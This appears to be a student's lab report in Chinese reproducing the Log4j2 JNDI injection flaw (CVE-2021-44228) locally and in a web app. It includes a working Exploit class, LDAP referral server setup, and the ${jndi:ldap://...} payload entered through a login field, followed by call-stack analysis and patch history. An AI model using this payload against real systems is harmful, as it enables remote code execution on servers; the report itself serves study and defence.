Apache Log4j2 漏洞触发 ¶

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Abstract

系统安全 lab1 实验报告，实验与网络空间安全导论课程报告选题重合，大部分参考 log4j 漏洞复现

仅供学习参考，请勿抄袭

实验目标 ¶

理解 Apache Log4j2 漏洞的原理，掌握 Log4j2 漏洞的触发
加深对软件供应链安全的理解

实验过程 ¶

由于本人在大一春夏学期的网络空间安全导论课上选择了 log4j 漏洞复现与分析作为课程报告，所以本实验有很多参考了当时本人的报告内容。当时的报告可见：https://note.tonycrane.cc/sec/vulns/log4j/。

Task 1：本地触发 ¶

首先构建 Exploit 脚本，只需要通过 java.lang.Runtime.getRuntime().exec(cmds).waitFor(); 执行任意命令即可，由于我是 macOS 环境，所以需要通过 open /System/Applications/Calculator.app 来打开计算器：

public class Exploit {
    static {
        System.out.println("Executing exploit!");
        System.out.println("Attack!");
        try {
            String[] cmds = {"open", "/System/Applications/Calculator.app"};
            java.lang.Runtime.getRuntime().exec(cmds).waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

接下来在同一目录中通过 python -m http.server 8100 来开启一个 HTTP 服务，可以通过 curl -I 127.0.0.1:8100/Exploit.class 来验证是否可以访问到该文件。

然后需要在本地起一个 LDAP 服务，可以通过 marshalsec 项目来进行搭建：

git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit"

接下来完善服务程序，进行 log4j2 的 log：

package com;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j {
    private static final Logger LOGGER = LogManager.getLogger(Log4j.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        LOGGER.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
    }
}

然后在 Log4j2Vul/Log4j2Ldap 文件夹中构建并运行：

cd Log4j2Vul/Log4j2Ldap
mvn clean package
java -jar target/lab-0.0.1-SNAPSHOT.jar

可以发现在运行的时候服务程序进行了 error 记录，在输出的时候访问了该 LDAP 服务，LDAP 服务将本次 python HTTP 服务的 Exploit.class 返回给服务器运行，从而触发了 Exploit.java 中的任意命令执行，打开了计算器实现了 RCE。具体流程后续思考题中分析。

Task 2：项目中触发 ¶

先配置 mysql 环境，我使用 docker 来运行 mysql：

docker pull mysql:latest
docker run -it -d --name mysql_syssec -p 3306:3306 -e MYSQL_ROOT_PASSWORD=aaaaaa mysql
docker exec -it mysql_syssec bash

进入 docker 后通过 cat > /wj.sql 将 wj.sql 的内容拷贝到容器中，然后进入数据库：

bash-5.1# mysql -h localhost -u root -p
Enter password: aaaaaa
...
mysql> create DATABASE wj;
Query OK, 1 row affected (0.01 sec)

mysql> use wj;
Database changed
mysql> source /wj.sql

即可完成数据库的配置。

接下来修改 White-Jotter/src/main/resources/application.properties 中的数据库配置：

spring.datasource.url=jdbc:mysql://localhost:3306/wj?characterEncoding=UTF-8&serverTimezone=GMT%2B8
spring.datasource.username=root
spring.datasource.password=aaaaaa
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver

接下来构建并运行项目：

cd White-Jotter
mvn clean package
cd target
java -jar wj-1.0.0.war

发现 localhost:8443/login 并不能正常访问，报错为找不到对应的 index.html。发现 resources 文件夹中内容不对，需要将 White-Jotter/public 文件夹拷贝到 src/main/resources 下，然后重新构建并运行项目，即可成功访问。输入 admin/123 可以正常登录。

接下来编写 Exploit 脚本，类似前面的打开计算器，这里需要开启 python HTTP 服务：

public class Exploit {
    static {
        System.out.println("Executing exploit!");
        System.out.println("Attack!");
        try {
            String[] cmds = {"python", "-m", "http.server", "8888", "--directory", ".."};
            java.lang.Runtime.getRuntime().exec(cmds).waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后同样本地开启 HTTP 服务和 LDAP 服务：

python -m http.server 8100
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit"

接下来在用户名处输入 ${jndi:ldap://127.0.0.1:1389/Exploit} 并登录，即可触发漏洞，在服务器上 RCE，开启 8888 端口上的服务。可以发现 LDAP 和 HTTP 服务中出现了请求，wj 服务中也执行了 Exploit.class 出现了输出：

同时可以通过 8888 端口来访问 web 服务的源文件：

思考题 ¶

解释实验 1（本地弹计算器）的漏洞触发过程

下面的分析来自本人在大一春夏“网络空间安全导论”课程报告 log4j 漏洞复现中的分析。

JNDI 注入原理：

JNDI 封装了一些服务，并且通过 lookup 来访问服务，例如通过 lookup("rmi://ip:port/...") 的形式访问 ip:port 提供的 RMI 服务，通过 lookup("ldap://ip:port/...") 的形式访问 LDAP 服务。

JNDI 的目的是通过名称 / 目录获取对象，而远程读取的一般是编译后的 .class 文件所以在 lookup 时会进行类加载，JVM 将其加载为 Java 类。而当 ClassLoader 加载 .class 文件的时候会调用类的 clinit 方法，执行类的静态代码。因此如果可以控制 JNDI lookup 的 URL，便可以任意加载远程类，执行恶意代码，这也就是 JNDI 注入原理。

但是 JNDI 注入受到 JDK 配置限制，如果 com.sun.jndi.xxx.object.trustURLCodebase 这一配置是 false 时则不会信任 URL 从而无法进行 JNDI 注入。在 JDK 11.0.1、8u191、7u201、6u211 等版本中这一配置默认是 true，而从 6u132、7u122、8u113 开始，这一配置默认为 false（因此后面使用高版本 JDK 复现时要手动开启这一配置）

CVE-2021-44228 漏洞原理：

CVE-2021-44228 即是通过 log4j 来实现了 JNDI 注入。log4j 可以通过 ${} 语法来获取动态内容并输出到日志中，其中对于每个 ${} 部分使用 lookup 方法来解决变量，其中也提供了 JndiLookup，也就是说可以使用 JNDI 来读取内容，形如 ${jndi:...}。这时就存在 JNDI 注入。

而大部分使用 log4j 来记录日志的网络应用都会记录用户的输入，比如搜索网站会记录用户搜索的内容，这时如果用户输入的是 ${jndi:...}（比如 ${jndi:ldap://ip:port/...}）就会进行 JndiLookup，实现 JNDI 注入，这也就是 CVE-2021-44228 这个漏洞的原理。

漏洞触发过程分析：

通过调试运行 log4j 漏洞应用可以获取到整个程序的调用栈：

<clinit>:11, Exploit
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:91, VersionHelper12 (com.sun.naming.internal)
loadClass:101, VersionHelper12 (com.sun.naming.internal)
loadClass:115, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1114, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:11, log4j

可以较清晰地分析出来程序进入执行 logger.error，然后在 log 中逐层调用最终调用到 resolveVariable 即处理 ${} 变量，然后调用到了 Interpolator 的 lookup 方法，其中寻找到了 JndiLookup 类，调用其 lookup 方法，从 LDAP 服务获取类，然后从中 getObjectInstance，这里会进行 loadClass 操作，而其中调用了 Exploit 类隐藏的 clinit 方法也就是静态代码，造成 RCE。

如何防护 Apache Log4j2 漏洞

下面的分析来自本人在大一春夏“网络空间安全导论”课程报告 log4j 漏洞复现中的分析。

高版本的 JDK 中设置了 com.sun.jndi.xxx.object.trustURLCodebase 默认为 false，这可以防止一部分 JNDI 注入的发生。

在 CVE-2021-42288 发布后，Apache 通过 #608 这个 pull request 来对 LDAP 进行了限制，并发布了 2.15.0-rc1 版本。但这个版本仍存在绕过方式，即通过构造出会抛出异常的 payload 就可以绕过检验。

随后 Apache 又进行了对于异常 URI 的处理，发布了 2.15.0-rc2 版本，但这个版本仍会通过较复杂的绕过实现 RCE。因此在 2.16.0-rc1 版本中，Message Lookups 被彻底删除，这个漏洞被触发的情况就更少了，但如果开发者手动开启 JNDI 功能，则仍有可能通过一系列绕过实现注入。

但是在 2.16.0 版本中如果没有开启 JNDI 功能，则双层嵌套的 ${${...}} 会导致无限递归，从而造成 DoS 攻击，这也就是后续的 CVE-2021-45046 这个漏洞。随后在 2.17.0 版本中 Apache 修复了这个问题，并且限制即使开启了 JNDI 功能，其仅支持 java 协议而不支持 ldap，2.15.0-rc2 和 2.16.0 中的绕过也无效了。因此 2.17.0 也就成为了可以完全防止这一漏洞的 log4j 版本了。

最后更新: 2024年9月16日 00:56:42
创建日期: 2024年9月16日 00:56:42